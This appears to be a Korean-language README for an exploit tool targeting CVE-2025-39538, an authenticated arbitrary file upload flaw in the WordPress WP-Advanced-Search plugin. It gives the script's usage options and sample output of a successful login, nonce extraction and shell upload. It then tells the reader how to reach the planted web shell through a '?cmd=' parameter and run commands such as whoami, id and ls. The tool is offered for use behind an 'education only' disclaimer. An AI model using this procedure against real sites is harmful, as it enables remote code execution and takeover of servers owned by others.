
WordPress WP-Advanced-Search <= 3.3.9.3 - 임의 파일 업로드 취약점
CVE-2025-39538
게시일: 2025-04-16
취약점 유형: 임의 파일 업로드 (위험한 유형의 파일 무제한 업로드)
영향을 받는 플러그인: Mathieu Chartier의 WP-Advanced-Search
영향을 받는 버전: 3.3.9.3까지의 모든 버전
이 취약점으로 인해 인증된 공격자가 플러그인이 제공하는 가져오기 기능을 사용하여 악성 PHP 파일(예: 웹 셸)을 서버에 업로드할 수 있습니다. 업로드된 파일은 WordPress 업로드 디렉토리에 저장되며 원격 코드 실행으로 이어질 수 있습니다.
🧱 업로드 경로:
wp-content/uploads/2025/04/
이 Python 스크립트는 다음 작업을 수행합니다:
wp_advanced_search_up_nonce를 추출합니다.usage: a.py [-h] -u URL -un USERNAME -p PASSWORD
CVE-2025-39538 - WP Advanced Search 임의 파일 업로드 익스플로잇 # By Nxploited (Khaled Alenazi)
options:
-h, --help 도움말 메시지를 표시하고 종료합니다
-u, --url URL 대상 WordPress URL (예: http://127.0.0.1/wordpress)
-un, --username USERNAME
WordPress 사용자 이름
-p, --password PASSWORD
WordPress 비밀번호
[*] Attempting login...
[+] Logged in successfully.
[*] Fetching nonce from import/export page...
[+] Nonce extracted: 2140855687
[*] Attempting to upload shell...
[+] File uploaded (check wp-content/uploads or temp directory).
업로드 후, 다음과 같이 셸에 접근할 수 있습니다:
http://target.site/wp-content/uploads/2025/04/nxploit.php?cmd=whoami
실행하려는 Linux 명령어로 whoami를 대체하세요. 예를 들어:
id — 현재 사용자 ID를 표시합니다.pwd — 현재 디렉토리를 표시합니다.ls — 파일을 나열합니다.이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다.
작성자는 이 스크립트로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
제작: Nxploited | Khaled Alenazi